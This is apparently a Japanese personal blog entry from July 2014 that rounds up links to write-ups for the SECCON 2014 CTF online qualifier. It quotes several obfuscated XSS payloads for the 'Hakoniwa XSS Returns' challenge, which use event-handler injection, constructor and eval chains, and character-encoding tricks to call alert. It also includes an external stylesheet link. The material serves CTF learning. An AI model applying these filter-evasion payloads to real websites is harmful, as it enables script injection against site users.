トップ　最新

糸の切れた凧（　a threadless kite　）

ここは、管理人yamagataが方針未定のまま、何となーく思いついたことを思いついたままにだらだらと書き付ける日記帳です。ふんわりほんわかな感じでお願いします。

<< 2014年6月　 2014年7月　 2014年8月 >>　　

2014/07/20(日)日曜日ー。（ずずーん。。。）

[雑談] いろいろ。

SECCON CTF オンライン予選（日本語）write-upまとめ予定地 (OD　memo)

SECCON2014 CTF オンライン予選（日本語）write-upまとめ予定地 – OD　memo

http://odproject.net

SECCON 2014 オンライン予選「箱庭XSSリターンズ」Writeup (雑記)

SECCON 2014 オンライン予選「箱庭XSSリターンズ」Writeup - 雑記

SECCON 2014 オンライン予選にチーム 0x0 として参加しました。以下 Web300 の箱庭 XSS リターンズの Writeup です。試行錯誤した時間のほうが長かったので、そちらの手順

http://nash.hatenablog.com

textile"/onkeydown="(99995)['\u0063onstructor']['\u0063onstructor']('BBBBBBBBBBBBBBBBBBBa'[19]+'BBBBBBBBBBBBBBBBBBBl'[19]+'BBBBBBBBBBBBBBBBBBBe'[19]+'BBBBBBBBBBBBBBBBBBBr'[19]+'BBBBBBBBBBBBBBBBBBBt'[19]+'BBBBBBBBBBBBBBBBBBB('[19]+'BBBBBBBBBBBBBBBBBBB\''[19]+'BBBBBBBBBBBBBBBBBBBX'[19]+'BBBBBBBBBBBBBBBBBBBS'[19]+'BBBBBBBBBBBBBBBBBBBS'[19]+'BBBBBBBBBBBBBBBBBBB\''[19]+'BBBBBBBBBBBBBBBBBBB)'[19])()

とある診断員のSECCONオンライン予選

とある診断員のSECCONオンライン予選

7/19に開催されたSECCON 2014 オンライン予選に参加した時に、自分が解いたWeb 100と300の問題のwrite upを書きました。

http://www.slideshare.net

SECCON 2014 オンライン予選（日本語） Write-up (kusano_kの日記)

SECCON 2014 オンライン予選（日本語） Write-up - kusano-k’s blog

ぼっチームsuperflipは1403点、24位だった。練習問題練習問題 100点 FLAG{seccon2014} このパケットを解析せよネットワーク 100点 FTP通信。FTPは制御とファ

http://d.hatena.ne.jp

textile"><script>_='aconstructor'.slice(1001-1000),__='aalert'.slice(1001-1000),___='aXSS'.slice(1001-1000),{}[_][_](__+'(\''+___+'\')')()</script>"onmouseover="_='bconstructor'.substring(1003-1002),__='balert'.substring(1003-1002),___='bXSS'.substring(1003-1002),{}[_][_](__+'(\''+___+'\')')()"onmousedown="_='cconstructor'.substr(1005-1004),__='calert'.substr(1005-1004),___='cXSS'.substr(1005-1004),{}[_][_](__+'(\''+___+'\')')()"onmouseup="_='constructor',__='alert',___='XSS',{}[_][_](__+'(\''+___+'\')')()"onclick="_='&#99onstructor',__='&#97lert',___='&#88SS',{}[_][_](__+'(\''+___+'\')')()"onkeydown="_='&#x63onstructor',__='&#x61lert',___='&#x58SS',{}[_][_](__+'(\''+___+'\')')()"onfocus="_='\u0063onstructor',__='\u0061lert',___='\u0058SS',{}[_][_](__+'(\''+___+'\')')()"onchange="_='\143onstructor',__='\141lert',___='\130SS',{}[_][_](__+'(\''+___+'\')')()

箱庭XSSリターンズ (akiym, xrekkusu, lmt_swallow)

箱庭XSSリターンズ (akiym, xrekkusu, lmt_swallow)

箱庭XSSリターンズ (akiym, xrekkusu, lmt_swallow). GitHub Gist: instantly share code, notes, and snippets.

https://gist.github.com

textile"onPaste="eval(';)\'SSX\'(trela'.split('').reverse().join(''))""><link rel="stylesheet" href="http://8ant.org/asdfqwer.css"><""onfocusin="top['\x61\x6C\x65\x72\x74']('\x58\x53\x53')""onfocusout="parent[String.fromCharCode(500-403,500-392,500-399,500-386,500-384)](String.fromCharCode(300-212,300-217,300-217))""onfocus="window['\141\154\145\162\164']('\130\123\123')""onKeyDown="parent['aleraaaaat'.replace('aaaaa','')]('XaaaaaSaaaaaS'.replace('aaaaa','').replace('aaaaa',''))""onDblClick="window['aleraaaat'.replace('aaaa','')]('XaaaaSaaaaS'.replace('aaaa','').replace('aaaa',''))""onMouseUp="wi&#110dow[String.fromCharCode(501-404,501-393,501-400,501-387,501-385)]('XSS')""onMouseEnter="alert('XSS')""onMouseDown="alert('XSS')""onMouseOut="alert('XSS')""onMouseMove="alert('XSS')""onMouseLeave="alert('XSS')""onContextMenu="alert('XSS')""onCopy="alert('XSS')""onSelect="alert('XSS')""onBlur="alert('XSS')""onmouseover="(new Function('rssseturn(alesssrt)'.&#x73plit('sss').joi&#x6e('')))()(('SXS'+'SXS').slice(-5,4))""onclick="alert('XSS')""><script src="file:///c:/wonderful.js"></script><"

Twitter / kinugawamasato: 箱庭XSS、全クリ解法思いついた "＞＜script＞open().document.write("＜textarea/id=t＞opener.alert(’XSS’)＜/textarea＞＜button/onclick=eval(t.value)＞go")＜/script＞